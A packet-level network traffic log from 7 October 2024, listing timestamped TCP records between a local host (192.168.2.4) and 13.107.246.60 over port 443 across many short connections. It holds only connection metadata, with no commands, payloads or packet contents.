Oct 7, 2024 03:04:01.307431936 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.307463884 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.307887077 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.307893991 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.428705931 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.428870916 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.428977966 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.492175102 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.492175102 CEST	49789	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.492197990 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.492213964 CEST	443	49789	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.524946928 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.525031090 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.525131941 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.532918930 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.532957077 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.876595020 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.877125025 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.877161980 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.877609968 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.877614975 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.902535915 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.903012991 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.903074980 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.903403997 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.903458118 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.904938936 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.904953003 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.905224085 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.905275106 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.905364990 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.905397892 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.905635118 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.905647039 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.905678034 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.905689955 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.975469112 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.975651979 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.975755930 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.975821018 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.975856066 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.975912094 CEST	49792	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.975928068 CEST	443	49792	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.978141069 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.978161097 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:01.978236914 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.978353024 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:01.978362083 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.005682945 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.005852938 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.005944014 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.006023884 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.006025076 CEST	49793	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.006067038 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.006095886 CEST	443	49793	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.007785082 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.007817984 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.007877111 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.008013964 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.008024931 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.008485079 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.008580923 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.008634090 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.008686066 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.008686066 CEST	49791	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.008728981 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.008752108 CEST	443	49791	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.009825945 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.009885073 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.009926081 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.009991884 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.010004997 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.010020018 CEST	49790	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.010025978 CEST	443	49790	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.010432959 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.010462046 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.010529041 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.010627031 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.010639906 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.011668921 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.011677027 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.011739016 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.011838913 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.011852026 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.210288048 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.210799932 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.210885048 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.211374998 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.211389065 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.315028906 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.315148115 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.315236092 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.315320015 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.315363884 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.315422058 CEST	49794	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.315438986 CEST	443	49794	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.318562984 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.318604946 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.318655014 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.318799973 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.318813086 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.629859924 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.630526066 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.630572081 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.630965948 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.630997896 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.646924973 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.647211075 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.647222042 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.647558928 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.647562981 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.657584906 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.657809019 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.657831907 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.657839060 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.658092976 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.658099890 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.658143997 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.658149004 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.658499956 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.658504009 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.729896069 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.730030060 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.730113983 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.730201960 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.730201960 CEST	49795	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.730233908 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.730256081 CEST	443	49795	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.732872009 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.732916117 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.733011007 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.733160019 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.733179092 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.746265888 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.746409893 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.746464014 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.746495008 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.746506929 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.746515989 CEST	49796	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.746520996 CEST	443	49796	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.748788118 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.748852015 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.748919964 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.749042034 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.749070883 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758357048 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758419037 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758465052 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.758555889 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.758572102 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758583069 CEST	49798	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.758588076 CEST	443	49798	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758866072 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758955002 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.758999109 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.759063005 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.759067059 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.759098053 CEST	49797	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.759102106 CEST	443	49797	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.760670900 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.760699034 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.760772943 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.760874987 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.760904074 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.760905027 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.760925055 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.760962963 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.761050940 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.761068106 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.967721939 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.968241930 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.968261003 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:02.968760967 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:02.968765974 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.068779945 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.068926096 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.068975925 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.069047928 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.069067955 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.069077969 CEST	49799	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.069083929 CEST	443	49799	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.071857929 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.071897030 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.071978092 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.072112083 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.072141886 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.388746023 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.389324903 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.389347076 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.389786005 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.389796972 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.398284912 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.398566008 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.398593903 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.398917913 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.398926020 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.408442974 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.408788919 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.408803940 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.408909082 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.409138918 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.409156084 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.409187078 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.409197092 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.409612894 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.409624100 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.487369061 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.487539053 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.487602949 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.487684965 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.487715006 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.487740993 CEST	49801	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.487755060 CEST	443	49801	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.490441084 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.490485907 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.490541935 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.490700960 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.490711927 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.500127077 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.500262022 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.500315905 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.500350952 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.500350952 CEST	49800	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.500368118 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.500377893 CEST	443	49800	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.502260923 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.502269983 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.502332926 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.502465010 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.502474070 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.509768963 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.509814024 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.509855986 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.509946108 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.509953976 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.509964943 CEST	49803	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.509969950 CEST	443	49803	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.511751890 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.511837959 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.511914968 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.512022972 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.512061119 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.517467022 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.517530918 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.517580032 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.517642975 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.517658949 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.517680883 CEST	49802	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.517693996 CEST	443	49802	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.519372940 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.519399881 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.519462109 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.519591093 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.519607067 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.722968102 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.723519087 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.723582029 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.723973036 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.723989964 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.826600075 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.826766014 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.826911926 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.826992035 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.826992035 CEST	49804	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.827033997 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.827060938 CEST	443	49804	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.829587936 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.829627037 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:03.829720974 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.829855919 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:03.829862118 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.126786947 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.127445936 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.127469063 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.127921104 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.127927065 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.138320923 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.138793945 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.138806105 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.139206886 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.139211893 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.153928995 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.155312061 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.155333042 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.155740023 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.155746937 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.158359051 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.158582926 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.158608913 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.158953905 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.158962011 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.224670887 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.224806070 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.224864006 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.225078106 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.225091934 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.225100994 CEST	49805	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.225106001 CEST	443	49805	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.228497982 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.228529930 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.228775978 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.229057074 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.229068995 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.236301899 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.236438036 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.236550093 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.236656904 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.236664057 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.236671925 CEST	49806	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.236675978 CEST	443	49806	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.239875078 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.239902020 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.240494013 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.252772093 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.252842903 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.252921104 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.254714966 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.254734039 CEST	49808	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.254739046 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.254753113 CEST	443	49808	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.255446911 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.255462885 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.257818937 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.257905960 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.258079052 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.258184910 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.258210897 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.259522915 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.259587049 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.259663105 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.259761095 CEST	49807	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.259784937 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.259799957 CEST	49807	443	192.168.2.4	13.107.246.60
